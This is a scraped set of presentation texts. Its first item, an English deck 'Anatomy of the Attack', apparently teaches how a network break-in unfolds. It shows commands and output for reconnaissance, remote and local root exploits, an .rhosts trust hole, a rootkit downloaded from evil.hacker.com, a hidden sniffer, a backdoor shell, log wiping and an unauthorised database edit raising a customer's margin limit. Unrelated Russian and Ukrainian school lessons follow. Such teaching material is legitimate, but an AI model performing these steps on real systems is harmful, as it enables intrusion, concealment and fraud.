title: Презентация на тему: Пример сетевой атаки

text:
Anatomy of the Attack
What is Vulnerable?
What is Vulnerable?
What is Vulnerable?
What is Vulnerable?
What is Vulnerable?
Click to edit Master title style
Click to edit Master text styles
Second level
Third level
Fourth level
Fifth level
Click to edit Master text styles
Second level
Third level
Fourth level
Fifth level
WHOIS Search
ACMETRADE.COM
Registrant:
Acmetrade.com, Inc. (ACMETRADE-DOM)
    6600 Peachtree Dunwoody Road
    Atlanta, GA 30338

    Domain Name: ACMETRADE.COM

    Administrative Contact:
        Vaughn, Danon (ES2394) dvaughn@ACMETRADE.COM
        (678)443-6000 (FAX) (678) 443-6476
    Technical Contact, Zone Contact:
        Bergman, Bret (ET2324) bbergman@ACMETRADE.COM
        (678)443-6100 (FAX) (678) 443-6208
    Billing Contact:
        Fields, Hope  (ET3427) hfields@ACMETRADE.COM
        (678)443-6101 (FAX) (678) 443-6401

    Record Last updated on 27-Jul-99.
    Record created on 06-Mar-98.
    Database last updated on 4-Oct-99 09:09:01 EDT

    Domain servers in listed order:

    dns.acmetrade.com	208.21.2.67
    www.acmetrade.com	208.21.2.10
    www1.acmetrade.com	208.21.2.12
    www2.acmetrade.com	208.21.2.103
http://www.networksolutions.com/cgi-bin/whois/whois/?STRING=acmetrade.com
hacker:/export/home/hacker>
./rpcscan dns.acmetrade.com cmsd
Scanning dns.acmetrade.com for program 100068
cmsd is on port 33505
hacker:/export/home/hacker>
hacker:/export/home/hacker>
id
uid=1002(hacker) gid=10(staff)
hacker:/export/home/hacker>
uname -a
SunOS evil.hacker.com 5.6 Generic_105181-05 sun4u sparc SUNW,UltraSPARC-IIi-Engine
hacker:/export/home/hacker>
./cmsd dns.acmetrade.com
using source port 53
rtable_create worked
Exploit successful.  Portshell created on port 33505
hacker:/export/home/hacker>
Trying 208.21.2.67...
Connected to dns.acmetrade.com.
Escape character is '^]'.
#
id
uid=0(root) gid=0(root)
#
uname -a
SunOS dns 5.5.1 Generic_103640-24 sun4m sparc SUNW,SPARCstation-5
#
telnet dns.acmetrade.com 33505
#
#
nslookup
Default Server: dns.acmetrade.com
Address: 208.21.2.67
>
>
ls acmetrade.com
Received 15 records.
^D
[dns.acmetrade.com]
www.acmetrade.com			208.21.2.10
www1.acmetrade.com		208.21.2.12
www2.acmetrade.com		208.21.2.103
margin.acmetrade.com		208.21.4.10
marketorder.acmetrade.com		208.21.2.62
deriv.acmetrade.com		208.21.2.25
deriv1.acmetrade.com		208.21.2.13
bond.acmetrade.com		208.21.2.33
ibd.acmetrade.com			208.21.2.27
fideriv.acmetrade.com		208.21.4.42
backoffice.acmetrade.com		208.21.4.45
wiley.acmetrade.com		208.21.2.29
bugs.acmetrade.com		208.21.2.89
fw.acmetrade.com			208.21.2.94
fw1.acmetrade.com			208.21.2.21
#
#
#
#
rpcinfo -p www.acmetrade.com | grep mountd
100005    1   udp    643  mountd
100005    1   tcp    647  mountd
showmount -e www.acmetrade.com
/usr/local	server2, server3, server4
/export/home 	sunspot
rpcinfo -p www1.acmetrade.com | grep mountd
100005    1   udp    643  mountd
100005    1   tcp    647  mountd
showmount -e www1.acmetrade.com
/data1		server2
/a		engineering
/b		engineering
/c		engineering
/export/home	(everyone)
export list for www.acmetrade.com:
#
nfs
nfsshell.c
/data1		server2
/a		engineering
/b		engineering
/c		engineering
/export/home	(everyone)
Export list for www1.acmetrade.com:
nfs>
mount /export/home
Mount www1.acmetrade.com[208.21.2.12]:/export/home
nfs>
ls
bill
bob
celeste
chuck
dan
dave
jenn
zack
nfs>
drwxr-xr-x  2      201     1      1024  May  4  1999  bob
 - protocol: UDP/IP
 - transfer size: 8192 bytes
nfs>
nfs>
nfs>
cd bob
uid 201
gid 1
#
nfsshell
nfs>
host www1.acmetrade.com
Open www1.acmetrade.com[208.21.1.12] (mountd) using UDP/IP
nfs>
export
nfs>
status
nfs>
!sh
$
echo "+ +" > .rhosts
$
exit
nfs>
nfs>
put .rhosts
cat .rhosts
+ +
nfs>
exit
#
rlogin -l bob www1.acmetrade.com
Last login: Wed Mar 3 10:46:52 from somebox.internal.acmetrade.com
www1%
whoami
bob
www1%
pwd
/export/home/bob
www1%
uname -a
SunOS www1.acmetrade.com 5.5.1 Generic_103640-24 sun4d SUNW,SPARCserver-1000
www1%
cat .rhosts
+ +
www1%
www1%
ls -la /usr/bin/eject
-r-sr-xr-x   1 root     bin        13144 Jul 15  1997 /usr/bin/eject*
www1%
gcc -o eject_overflow eject_overflow.c
www1%
./eject_overflow
Jumping to address 0xeffff630 B[364] E[400] SO[400]
#
whoami
root
#
ftp evil.hacker.com
Connected to evil.hacker.com.
Name (evil.hacker.com:root):
331 Password required for hacker.
Password:
230 User hacker logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
hacker
eye0wnu
220 evil.hacker.com FTP server (HackerOS) ready.
ftp>
cd solaris_backdoors
250 CWD command successful.
ftp>
get solaris_backdoor.tar.gz
200 PORT command successful.
150 Binary data connection for out 3.1.33.7,1152).
226 Transfer complete.
152323 bytes sent in 31.942233 secs (4.7Kbytes/sec)
ftp>
quit
tar -xf module_backdoor.tar
cd /tmp/my_tools
gunzip module_backdoor.tar.gz
#
#
#
#
cd /tmp/my_tools/module_backdoor
#
./configure
Enter directories and filenames to hide from ls, find, du:
#
make
#
Makefile
backdoor
backdoor.c
backdoor.o
config.h
configure
installer
installer.c
ls
#
#
modload backdoor
./installer -d /usr/local/share/...
Adding directory...
Fixing last modified time...
Fixing last accessed time...
 ... backdoor
Enter class C network to hide from netstat:
Enter process names to hide from ps and lsof:
creating config.h...
3.1.33.0
sniffer
#
ls -la /usr/local/share/...
...: No such file or directory
#
#
#
#
#
#
./installer backdoor /usr/local/share/.../backdoor
Installing file...
Fixing last modified time...
Fixing last accessed time...
echo "/usr/sbin/modload /usr/local/share/.../backdoor" >>/etc/init.d/utmpd
#
cd ..
rm -rf module_backdoor
ls
inetd_backdoor/
logedit
sniffer
./installer sniffer /usr/local/share/.../sniffer
Installing file...
Fixing last modified time...
Fixing last accessed time...
ls /usr/local/share/.../sniffer
/usr/local/share/.../sniffer: No such file or directory
#
cd /usr/local/share/...
#
./sniffer > out &
#
ps -aef | grep sniffer
#
#
netstat
TCP
   Local Address        Remote Address    Swind Send-Q Rwind Recv-Q  State
-------------------- -------------------- ----- ------ ----- ------ -------
208.21.2.10.1023   208.21.0.19.2049    8760      0  8760    648 ESTABLISHED
208.21.2.10.1022   208.21.0.19.2049    8760      0  8760      0 ESTABLISHED
208.21.2.10.2049   208.21.0.13.1003    8760      0  8760      0 ESTABLISHED
#
cd /tmp/my_tools
#
cd inetd_backdoor
#
ls
config.h
configure
inetd.c
installer.c
#
./configure
Enter port for hidden shell:
#
make
gcc -s  -DSYSV=4 -D__svr4__ -DSOLARIS  -o inetd inetd.c -lnsl -lsocket -lresolv
gcc -o installer installer.c
#
installer inetd /usr/sbin/inetd
Installing file...
Fixing last modified time...
Fixing last accessed time...
creating config.h...
creating Makefile...
31337
Trying 208.21.2.12...
Escape character is '^]'.
telnet www1.acmetrade.com 31337
Granting rootshell...
#
hostname
www1
#
whoami
root
#
#
root   179     1  0   May 10 ?        1:26 /usr/sbin/inetd -s
#
#
#
exit
Connection closed by foreign host.
hacker:/export/home/hacker>
hacker:/export/home/hacker>
ftp www1.acmetrade.com
Connected to www1
220 www1.acmetrade.com FTP service (Version 2.5).
Name:
root
331 Password required for root.
Password:
*******
230 User root logged in.
Remote system type is Unix.
 ftp>
put backdoor.html securelogin.html
200 PORT command successful.
150 Opening BINARY mode data connection for index.html
226 Transfer complete.
ftp>
quit
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 10
-rwxr-xr-x   9 root     other       1024 Aug 17 17:07 .
-rwxr-xr-x   9 root     other       1024 Aug 17 17:07 ..
-rwxr-xr-x   2 www      www         2034 Aug 17 17:07 index.html
-rwxr-xr-x   2 www      www         1244 Aug 17 17:07 securelogin.html
-rwxr-xr-x   2 www      www         1024 Aug 17 17:07 image2.gif
-rwxr-x--x   6 www      www          877 Aug 17 17:07 title.gif
-rwxr-xr-x   2 www      www         1314 Aug 17 17:07 frontpage.jpg
226 Transfer complete. bytes received in 0.82 seconds (0.76 Kbytes/sec)
ftp>
dir
ftp> cd /usr/local/httpd
   program vers proto   port  service
    100000    4   tcp    111  rpcbind
    100000    3   tcp    111  rpcbind
    100000    2   tcp    111  rpcbind
    100000    4   udp    111  rpcbind
    100000    3   udp    111  rpcbind
    100000    2   udp    111  rpcbind
    100004    2   udp    753  ypserv
    100004    1   udp    753  ypserv
    100004    1   tcp    754  ypserv
    100004    2   tcp  32771  ypserv
1073741824    2   udp  32772
    100007    3   udp  32779  ypbind
    100007    2   udp  32779  ypbind
    100007    1   udp  32779  ypbind
    100007    3   tcp  32772  ypbind
    100007    2   tcp  32772  ypbind
    100007    1   tcp  32772  ypbind
    100011    1   udp  32781  rquotad
    100068    2   udp  32783
    100068    3   udp  32783
    100068    4   udp  32783
    100068    5   udp  32783
    100024    1   udp  32784  status
    100024    1   tcp  32777  status
    100021    1   udp   4045  nlockmgr
    100021    2   udp   4045  nlockmgr
#
rpcinfo -p  backoffice.acmetrade.com
    100021    3   udp   4045  nlockmgr
    100021    4   udp   4045  nlockmgr
    100021    1   tcp   4045  nlockmgr
    100021    2   tcp   4045  nlockmgr
    100021    3   tcp   4045  nlockmgr
    100021    4   tcp   4045  nlockmgr
    100005    1   udp  33184  mountd
    100005    2   udp  33184  mountd
    100005    3   udp  33184  mountd
    100005    1   tcp  32787  mountd
    100005    2   tcp  32787  mountd
    100005    3   tcp  32787  mountd
    100083    1   tcp  32773
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100227    2   udp   2049  nfs_acl
    100227    3   udp   2049  nfs_acl
    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs
    100227    2   tcp   2049  nfs_acl
    100227    3   tcp   2049  nfs_acl
#
#
grep ttdbserverd /etc/inetd.conf
100083/1	tli	rpc/tcp wait root /usr/dt/bin/rpc.ttdbserverd rpc.ttdbserverd
rpcinfo -p backoffice.acmetrade.com | grep 100083
100083    1   tcp  32773
#
cd /tmp/mytools/warez
Please wait for your root shell.
#
./tt backoffice.acmetrade.com
hostname
backoffice
whoami
root
#
find / -type f -name .rhosts -print
/.rhosts
/export/home/chuck/.rhosts
/export/home/bill/.rhosts
/export/home/larry/.rhosts
#
cat /.rhosts
fideriv.acmetrade   	root
ibd.acmetrade    		root
bugs.acmetrade		root
#
w
10:20pm  up 13:15,  1 user,  load average: 0.01, 0.02, 0.03
User     tty           login@  idle   JCPU   PCPU  what
root     console       9:27am  147:52 14:41  14:14 /sbin/sh
root     pts/5         9:24pm                      /sbin/sh
#
#
#
/tmp/mytools/logedit root pts/5
#
w
10:20pm  up 13:15,  1 user,  load average: 0.01, 0.02, 0.03
User     tty           login@  idle   JCPU   PCPU  what
root     console       9:27am  147:52 14:41  14:14 /sbin/sh
#
sqlplus oracle/oracle
SQL>
describe customers
Name		Null?	Type
------------------  --------  -----------
LNAME		NOT NULL 	VARCHAR2(20)
FNAME		NOT NULL 	VARCHAR2(15)
ADDR1		NOT NULL 	VARCHAR2(30)
ZIP		NOT NULL 	NUMBER(5)
PHONE		NOT NULL 	CHAR(12)
ACCOUNT_NUM	NOT NULL 	NUMBER(12)
BALANCE		NOT NULL 	NUMBER(12)
MARGIN_LIMIT	NOT NULL 	NUMBER(12)
ACCT_OPEN		NOT NULL 	DATE
SQL>
select  LNAME, FNAME, ACCOUNT_NUM, MARGIN_LIMIT from customers where LNAME = 'Gerulski';
LNAME 	     	    FNAME		ACCOUNT_NUM    MARGIN_LIMIT
--------------------    -------------  	-----------    ------------
Gerulski     	    David		5820981        50000.00
SQL>
update customers set MARGIN_LIMIT = 500000.00 where LNAME = 'Gerulski';
SQL>
select LNAME, MARGIN_LIMIT from customers where LNAME = 'Gerulski';
LNAME		        MARGIN_LIMIT
------------------- ------------
Gerulski	        500000.00
SQL>
exit
UNIX
Firewall
DNS Server
Web Server
Filtering Router
NT
Clients & Workstations
Network
UNIX
NT
UNIX
rpc.cmsd
nfs / eject
tooltalk /oracle
IT Infrastructure
Firewall
E-Mail Server
Web Server
Router
Servers
Clients & Workstations
Network
Applications
Router
E-Commerce
Web Server
E-Mail Server
Firewall
SAP
Peoplesoft
Web Browsers
Databases
Firewall
Router
Oracle
Microsoft
SQL Server
Sybase
Firewall
AIX
Solaris
Router
Windows NT
Network
Operating Systems
HP-UX
Windows 95 & NT
Firewall
E-Mail Server
Web Server
Router
Servers
Networks
TCP/IP
Netware
Here we ftp into the acmetrade to illustrate how easy it is to modify or deface the website.  Assume that we have the root password since we installed a packet sniffer earlier.
Now we going to target the backoffice server.  Again, we use rpcinfo to probe the rpc services.
We look to see if tooltalk is running on this server.  We look up the program number 100083 and check if its running.  It is.  We then fire off our tooltalk exploit on the host.  The tooltalk exploit is probably the most popular unix attack of 99, and maybe 2000.  It takes advantage of a remote buffer overflow.
The hacker begins with only a target.  At this point the hacker has little or no information about the target host.
Typically, the first thing the hacker will do is use a internet domain name registrar to gather some publicly available info about the target host and its associated network(s).
Here, the hacker enters the name of the target and submits it.
When we hacked the first machine, the vulnerability in cmsd granted us root access immediately.  With the NFS hack, we were not granted this luxury.  Since we have breached the machine, we are still a normal user, so we need to try and hack local superuser access ASAP.  We go to another hacker site and download a local exploit to try on the machine.  Here we go to www.insecure.org.  Also the distribution host of the famous scanner/hacking tool NMAP.
Here we check for the existence of /usr/bin/eject.  We find that it exists and it has the suid bit on.  The setuid bit on this binary means that this binary runs in a privileged state even if unprivileged users run it.  There is a buffer overflow in eject that allows unprivileged users to run privileged code.  After compiling and executing, we now have a local root shell.  Then we ftp to our home machine (evil.hacker.com) to download some more hacker tools.
Here we get a solaris backdoor that we plan to install on the box.
The backdoor uses loadable kernel modules.  Hacker rootkits that use modules are much more advanced that simply rootkits that replace system binaries.  This rootkit will allow us to hide files, directories, network connections and processes.  We load the module with modload and then install some of our files and fix the access times.
Here we verify that the files we want to hide are actually hidden.  Since modules are dynamic, we need to ensure that the module will be reloaded whenever the machine reboots.  We do that by inserting a line into a startup script that will reload it when the machine bounces.  Next we install a sniffer, run it, and verify that it is hidden.
Here we verified that our IP address is not listed with netstat.  Next we install and configure an inetd backdoor to setup a portshell
Here we restart inetd to start our new backdoor.  Then we verify that it is working and listening on port 31337
Now we buy NETA on our extended margin.


Презентация на тему: Применение новых информационных технологий на уроке


title: Презентация на тему: Применение статистических функций в среде MS Excel

text:
Применение статистических функций
в среде MS Excel

(примеры решения задач с функциями:
 МАКС, МИН, СРЗНАЧ, СЧЕТ, СЧЕТЕСЛИ)

Задача 1 (МАКС, МИН, СРЗНАЧ).

Определите максимальный и минимальный баллы, которые получили учащиеся школ на экзаменах по информатике, физике и математике,  средние значения баллов по каждому предмету.

1-2)
Исходная таблица с данными
1. Установите курсор в ячейку D7. Выполните команду Формулы, Вставить функцию, категория «Статистические». В окне Мастер функций – шаг 1 из 2 выберите функцию МАКС и в окне Аргументы функции установите курсор в поле Число1, выделите мышью диапазон ячеек D2:D6, затем подтвердите ОК.

2. В ячейке D7 отображен результат.  Далее скопируйте формулу на весь диапазон ячеек от D7 до F7. Для этого установите курсор в правую нижнюю точку ячейки D7 так, чтобы он принял вид тоненького крестика. В этот момент нажмите на левую кнопку мыши, и не отпуская ее, протяните курсор до ячейки F7.
Введите в ячейку C7 текст «МАКС».
3. Установите курсор в ячейку D8. Выполните команду Формулы, Вставить функцию, категория «Статистические». В окне Мастер функций – шаг 1 из 2 выберите функцию МИН и в окне Аргументы функции установите курсор в поле Число1, выделите мышью диапазон ячеек D2:D6, затем подтвердите ОК.

4. В ячейке D8 отображен результат.  Далее скопируйте формулу на весь диапазон ячеек от D8 до F8. Для этого установите курсор в правую нижнюю точку ячейки D8 так, чтобы он принял вид тоненького крестика. В этот момент нажмите на левую кнопку мыши, и не отпуская ее, протяните курсор до ячейки F8. Введите в ячейку C8 текст «МИН».
5. Установите курсор в ячейку D9. Выполните команду Формулы, Вставить функцию, категория «Статистические». В окне Мастер функций – шаг 1 из 2 выберите функцию  СРЗНАЧ и в окне Аргументы функции установите курсор в поле Число1, выделите мышью диапазон ячеек D2:D6, затем подтвердите ОК.

6. В ячейке D9 отображен результат.  Далее скопируйте формулу на весь диапазон ячеек от D9 до F9. Для этого установите курсор в правую нижнюю точку ячейки D9 так, чтобы он принял вид тоненького крестика. В этот момент нажмите на левую кнопку мыши, и не отпуская ее, протяните курсор до ячейки F9. Введите в ячейку C9 текст «СРЗНАЧ».

Задача 2 (СЧЕТ, СЧЕТЕСЛИ).

Определите количество учащихся, которые сдавали экзамены, и количество учащихся, которые получили больше 90 баллов по  предмету «Информатика».
1. Установите курсор в ячейку B7. Выполните команду Формулы, Вставить функцию, категория «Статистические». В окне Мастер функций – шаг 1 из 2 выберите функцию СЧЕТ. В окне Аргументы функции установите курсор в поле Значение1, выделите мышью диапазон ячеек С2:С6, затем подтвердите ОК. Введите текст «Счет» в ячейку A7.

2. Установите курсор в ячейку B8. Выполните команду Формулы, Вставить функцию, категория «Статистические». В окне Мастер функций – шаг 1 из 2 выберите функцию СЧЕТЕСЛИ. Введите в ячейку A8 - текст «СЧЕТЕСЛИ».
3. В окне Аргументы функции установите курсор в поле Диапазон, выделите мышью диапазон ячеек D2:D6, наберите в поле Критерий условие >90, затем подтвердите ОК.

Результат выполнения п. 1-3

Ответ. Количество учащихся, получивших сумму баллов на экзамене по информатике больше 90 , равно 3. Всего экзамены сдавали 5 человек.


title: Презентация на тему: Примеры линейных алгоритмов

text:
Линейный алгоритм
Алгоритм, в котором команды выполняются 	последовательно одна за другой, 	называется линейным
алг <имя>
тип переменных <имена переменных через запятую>
нач
     Команда 1
     Команда 2
	…
     Команда N
кон
Блок-схема
(графическое представление)
Алгоритмический язык
пример
начало
начало
900igr.net
Линейный алгоритм
Алгоритм, в котором команды выполняются 	последовательно одна за другой, 	называется линейным
алг <имя>
тип переменных <имена переменных через запятую>
нач
     Команда 1
     Команда 2
	…
     Команда N
кон
Алгоритмический язык
пример
начало
начало
Program <имя>;
Var <имена переменных через запятую>: <тип переменных>;
Begin
     Команда 1;
     Команда 2;
	…
     Команда N
End.
На языке Паскаль
Линейный алгоритм (пример)
алг площадь куба
вещ  a
нач  ввод a
          S:= 6a2
           вывод «площадь=», S
кон
Блок-схема
(графическое представление)
Алгоритмический язык
Задача. Найти площадь поверхности куба со стороной  a.

a
Дано:a
Найти: S
S = 6a2
Ввод a
Вывод S
Линейный алгоритм (пример)
алг площадь куба
цел  a, S
нач  ввод a
          S:= 6a2
           вывод «площадь=», S
кон
Алгоритмический язык
Задача. Найти площадь поверхности куба со стороной  a.

a
Дано:a
Найти: S
S = 6a2
назад
Program Plochadkuba;
Var  a, S : integer;
Begin
	Read(a);
          	S:= 6a2;
           	Write (‘площадь=‘, S);
End.
На языке Паскаль
Линейный алгоритм (пример)
Задача. Найти площадь поверхности куба со стороной  a.

a
Дано:a
Найти: S
S = 6a2
назад
Program Plochadkuba;
Var  a, S : integer;
Begin
	Read(a);
          	S:= 6a2;
           	Write (‘площадь=‘, S);
End.
На языке Паскаль
клавиатура
ПАМЯТЬ

Ячейка a

Ячейка S
Read(a)
ПРОЦЕССОР

           S:= 6a2

ЭКРАН

Write (‘площадь=‘, S);
Домашнее задание
Читать параграф 4.2.1 учебника.
Выучить: определение линейного алгоритма, структуру программы на языке Паскаль.
Составьте на языке Паскаль программу решения следующей задачи:
	Найти длину окружности L радиусом R.
 (Подсказка: для решения задачи нужно вспомнить формулу длины окружности)


Презентация на тему: Принципы эффективной коммуникации


Презентация на тему: Принципы композиции


title: Презентация на тему: Принцип обмена информацией между Windows. Технология OLE и COM

text:
Принцип обмена информацией между Windows. Технология OLE и COM
Лекция
OLE-объекты
Объектом (OLE-объектом) называется произвольный элемент, созданный в каком-либо одном приложении (приложении-источнике, серверном приложении), который может быть помещен в файл другого приложения (приложения-приемника , приложения-клиента).

Примеры использования объектов:
В документ MS Word помещен рисунок, созданный графическим редактором с логотипом предприятия или рабочая книга MS Excel, которая используется в качестве отчета.
Вы хотите поместить в базу данных MS Access иллюстрацию с изображением описываемого данной записью физического объекта.
Отображение некоторой информации необходимо отложить до более подходящего момента. Например, в изображении блок-схемы, каждый элемент такой схемы может быть текстовым документом, содержащим десятки или сотни строк. Вставив соответствующие документы в виде значков, можно скрыть эти длинные описания до того момента, когда они понадобятся пользователю.

Что такое OLE?
Основа взаимодействия приложений в Windows 95 и выше - технология связывания и внедрения объектов (Object Linking and Embedding, OLE). OLE обеспечивает совместное использование данных приложениями, соответствующими стандарту OLE.
Windows 3.1/3.11 имели механизм динамического обмена данными DDE (Dynamic Data Exchange) между различными приложениями. Его смысл заключается в том, что приложения связаны между собой общими файлами, так что изменение файла приложения-сервера тут же сказывается на документах, с которыми работают приложения-клиенты.
Внедрение и установление связи
Данные можно внедрять (Embedding) и связывать (Linking).
Связанный объект - это ссылка на исходный документ, динамически обновляющаяся при изменении источника. Внедренный объект - копия данных источника. При этом связь с собственно данными исходного документа отсутствует.

Внедрить или связать?
Объем памяти, занимаемый объектом. Если объем дисковой памяти для объекта является настолько большим, что хранить дополнительные копии объекта затруднительно, то следует остановиться на установлении связи.
Изменяется ли объект. Если вы хотите, чтобы изменяющееся состояние объекта отражалось в документе-клиенте, то необходимо использовать установление связи.
Доступ к объекту. Например, вы установили связь с объектом, получив к нему доступ по компьютерной сети. Если впоследствии сетевой диск окажется недоступным или хозяин исходного объекта изменит его местоположение или закроет к нему доступ, то лучше внедрить такой объект.
С помощью какого приложения создан объект. Если исходное приложение поддерживает DDE, но не поддерживает OLE, то можно установить связь, но не внедрить такой объект. Если исходное приложение не поддерживает ни OLE ни DDE, то возможно удастся вставить такой объект как текстовый или графический файл.
Подключение библиотек:
ComObj;
Excel2000;				VAR E,W: VARIANT;
Word2000.
Excel
Создание объекта –  E:=CreateOleObject('Excel.Application’);
Делаем видимым – E.Visible:=true;
Создание стандартной книги – E.Workbooks.add ();
Создание 1 листа: E.Workbooks.add (xlWBatWorkSheet);
Название листа: E.Workbooks[l].WorkSheets[l].Name:=‘Лист 1‘
Работа с ячейками:
E.Cells[i, l]:=‘значение’; - ЗАПИСЬ
excelsheet.range['A1:e1'].merge  - ОБЪЕДИНЕНИЕ
excelsheet.columns[i].columnwidth:=30; - ШИРИНА ЯЧЕЙКИ

Word
Создание объекта –  W:=CreateOleObject(‘Word.Application’);
Делаем видимым – W.Visible:=true;
Создание документа– W.Dokuments.add ();
Работа со строками:
Word.ActiveDocument.Range.InsertAfter('текст после Hello World') - ЗАПИСЬ
WordDocument1.Range.InsertAfter(#13) – ПЕРЕХОД НА НОВУЮ СТРОКУ


title: Презентация на тему: Поняття про програму. Запуск програми на виконання

text:
Вчитель інформатики Златоустівської ЗОШ
І-ІІІ ступенів
Лєсконог О.В.

Поняття про програму. Запуск програми на виконання.

Комп'ютер  – це електронний пристрій, який працює
тільки за командою людини.
Команди складаються в програми, які зберігаються в
пам'яті комп'ютера і на дисках, або інших носіях.
Як ви вважаєте чи достатньо мати тільки набір пристроїв для того, щоб комп'ютер міг працювати з інформацією?
Ні!
Для того, щоб компютер міг
працювати йому необхідні
набори інструкцій –
програми.

Більша частина об'єктів, що знаходяться на Робочому столі пов'язана з програмами, що розміщені в пам'яті комп'ютера.
Програми забезпечують виконання різних завдань з опрацювання даних, які розв'язує людина на комп'ютері.
http://sayt-portfolio.at.ua
4
Прикладні програми – програми, за допомогою яких виконується конкретне завдання на комп'ютері:
Клавіатурний тренажер
Ігри
Введення тексту
Розрахунок
Малювання
Вся інформація комп'ютера

 зберігається у вигляді даних.

Усі програми та дані збережені в

памяті компютера у вигляді файлів.
Фізхвилинка

Сидячи на стільцях повторюємо рухи:
07.02.2014
Стоячи повторюємо:
07.02.2014
Повторюємо:
Запуск програми на виконання.
Як приклад програми запускаємо музикальну клавіатуру

Програмне забезпечення
Системне ПЗ – це операційна система. Загальне керування комп’ютером.
Прикладне ПЗ -  програми, які використовує користувач для роботи на ПК.
Службове ПЗ – контролюють роботу комп’ютера. Перевіряють його на помилки, виправляють їх. Виконують налагодження ОС за командою користувача.

Комп'ютерні програми створюють люди. Існує спеціальна професія – програміст – розробник комп'ютерних програм.

Хто створює програми?
повторюємо
Що таке прикладні програми?
Дані?
Файли?
Записуємо домашнє завдання


Презентация на тему: ПРИМЕНЕНИЕ ТЕЛЕКОММУНИКАЦИЙ В СОВРЕМЕННОЙ ЖИЗНИ


Презентация на тему: Принцип работы телевидения


title: Презентация на тему: Примеры кодирования

text:
14, 2, 3, 2, 7
10, 4, 5, 1, 6
3, 7, 2, 7, 8, 9, 11
12, 13
1, 2, 3, 4, 5, 1, 6
7, 8, 9, 10, 11
9, 4, 7, 4, 13, 12, 14
33211463212165101816312030
1015221618141241032
0
1
2
3
4
5
6
7
8
0
1
2
3
_
.
,
?
4
:
;
-
!
«

32
00100000
56
8
00111000
80
P
01010000
104
h
01101000
33
!
00100001
57
9
00111001
81
Q
01010001
105
i
01101001
34
00100010
58
:
00111010
82
R
01010010
106
j
01101010
35
#
00100011
59
;
00111011
83
S
01010011
107
k
01101011
36
$
00100100
60
<
00111100
84
T
01010100
108
l
01101100
37
%
00100101
61
=
00111101
85
U
01010101
109
m
01101101
38
&
00100110
62
>
00111110
86
V
01010110
110
n
01101110
39
00100111
63
?
00111111
87
W
01010111
111
o
01101111
40
(
00101000
64
@
01000000
88
X
01011000
112
p
01110000
41
)
00101001
65
A
01000001
89
Y
01011001
113
q
01110001
42
*
00101010
66
B
01000010
90
Z
01011010
114
r
01110010
43
+
00101011
67
C
01000011
91
[
01011011
115
s
01110011
44
,
00101100
68
D
01000100
92

01011100
116
t
01110100
45
-
00101101
69
E
01000101
93
]
01011101
117
u
01110101
46
.
00101110
70
F
01000110
94
^
01011110
118
v
01110110
47
/
00101111
71
G
01000111
95
_
01011111
119
w
01110111
48
0
00110000
72
H
01001000
96
`
01100000
120
x
01111000
49
1
00110001
73
I
01001001
97
a
01100001
121
y
01111001
50
2
00110010
74
J
01001010
98
b
01100010
122
z
01111010
51
3
00110011
75
K
01001011
99
c
01100011
123
{
01111011
52
4
00110100
76
L
01001100
100
d
01100100
124
|
01111100
53
5
00110101
77
M
01001101
101
e
01100101
125
}
01111101
54
6
00110110
78
N
01001110
102
f
01100110
126
~
01111110
55
7
00110111
79
O
01001111
103
g
01100111
127
.
01111111
128
10000000
129
10000001
130
10000010
131
10000011
132
10000100
133
10000101
134
10000110
135
10000111
136
10001000
137
10001001
138
10001010
139
10001011
140
10001100
141
10001101
1142
10001110
143
10001111
144
10010000
145
10010001
146
10010010
147
10010011
148
10010100
149
10010101
150
10010110
151
10010111
152
10011000
153
10011001
154
10011010
155
10011011
156
10011100
157
10011101
158
10011110
159
10011111
160710 = 110010001112

0000  0110  0100  0111
 1111  1001  1011  1000
                                  +1
____________________________________________________
1111  1001  1011  1001
0
0
0
0
0
1
0
1
0
0
1
1
1
0
0
1
0
1
1
1
0
1
1
1


title: Презентация на тему: Применение интерактивной доски

text:
Тема: «Интерактивные доски.Их плюсы и минусы»

Ученицы 10 класса «М»
Павловой Галины

 V Ежегодная
исследовательская конференция
   процесс обеспечения
сферы образования
методологией и практикой разработки и
оптимального использования
современных средств ИКТ,
ориентированных на реализацию психолого-педагогических целей обучения, воспитания.
ИНФОРМАТИЗАЦИЯ ОБРАЗОВАНИЯ

ТРИ СОСТАВЛЯЮЩИЕ

ТЕХНИЧЕСКАЯ БАЗА ОУ

интерактивные доски школы
     Интерактивная доска
(Interactive whiteboard), представляет собой большой сенсорный экран, работающий как часть системы,
в которую также входят компьютер и проектор.
Что такое интерактивные доски?
Интерактивные доски
бывают прямой и обратной проекции
Виды интерактивных досок
     Для того чтобы луч проектора не мешал работе преподавателя и учеников, рекомендуется для работы с доской использовать ультракороткофокусный проектор, который можно закрепить на креплении непосредственно над доской.

Виды интерактивных досок

интерактивные доски школы
1.Triumph Board – 1 (2007)
2.Hitachi StarBoard – 1 (2008)
3.Smart Board – 1 (2011)
4.Qomo Board. – 12 (2012)
5. Screen Media- 6 (2013)
1.Triumph Board
2.Hitachi StarBoard
1– кабинет физики
1– кабинет физики
Интерактивные доски школы
3.Smart Board (ноябрь 2011)
1– кабинет математики
интерактивные доски школы
4.Qomo Board (июнь 2012)
1– конференц зал
11- классы начальной школы
Интерактивные доски школы
5. Screen Media (декабрь 2012)
3– кабинеты математики
2 – кабинеты информатики
1 – кабинет географии
интерактивные доски школы
Результаты анкетирования
«МИНУСЫ» интерактивных досок:
Тень от отвечающего у доски закрывает изображение
Постоянная калибровка
Попадание яркого луча света в глаза от прожектора (уменьшить резкость, писать на черном фоне)
«Бликует»
Не возможно работать без проектора
Сложность управления
Реагирование на все подряд

Результаты анкетирования
«ПЛЮСЫ» интерактивных досок:
Возможность работать сразу в нескольких программах
Удобное удаление написанного
Возможность сохранения написанного материала
Использование видео и презентаций
Быстрое перестроение этапов урока
Отсутствие мела
Бесконечность экрана
Удобный  интерфейс
Интерес к учебе

Качества человека XXI века
СПАСИБО
ЗА
ВНИМАНИЕ


Презентация на тему: Принципы социальных сетей


Презентация на тему: Принципы уменьшения объема графических файлов


title: Презентация на тему: Применение проектной деятельности на уроках информатики и ИКТ

text:
Применение проектной
деятельности
 на уроках информатики
Выполнила: Аксютина Ирина Сергеевна
«Все, что я познаю, знаю, для чего мне это надо и где и как я могу эти знания применить»
Осуществление  проектной деятельности возможно с помощью применения метода проектов.
Метод проектов возник во второй половине XIX века в США
американский  философ и педагог Джон Дьюи
американский педагог
Уиильям Херд Килпатрик
1920-е годы появление метода проектов в школах России
